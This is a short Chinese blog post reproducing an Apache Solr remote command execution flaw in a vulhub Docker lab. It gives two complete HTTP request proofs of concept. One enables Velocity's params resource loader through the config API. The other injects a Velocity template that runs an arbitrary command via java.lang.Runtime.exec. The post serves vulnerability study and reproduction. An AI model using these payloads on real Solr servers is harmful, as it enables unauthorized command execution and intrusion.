Apache Solr远程命令执行复现

蹭个热度，复现一波：Apache Solr远程命令执行漏洞。

环境可以使用/vulhub/solr/CVE-2019-0193/的环境，进入目录后直接 docker-compose up -d 如下：

接着访问对应地址可以看到，搭建好的镜像是没有集合的，所以我们需要自行创建一个集合：

通过 docker exec -it 容器ID /bin/bash 进入容器后执行：./solr create -c solr_sample 创建集合如下：

可以从重新浏览器访问一下solr admin，查看集合是否创建成功：

确认成功后即可先通过bp向对应路径发送请求修改params.resource.loader.enabled配置为true，请求如下：

修改完配置以后通过poc即可执行任意命令如图：

相关poc如下：

代码语言：javascript复制

//修改配置poc
POST /solr/集合名/config HTTP/1.1
Host: 192.168.119.134:8983
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

代码语言：javascript复制

//远程代码执行poc
GET /solr/solr_sample/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('ls')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Host: localhost:8983
Host: 192.168.119.134:8983
Content-Length: 0

容器镜像服务 容器 lucene/solr

0 人点赞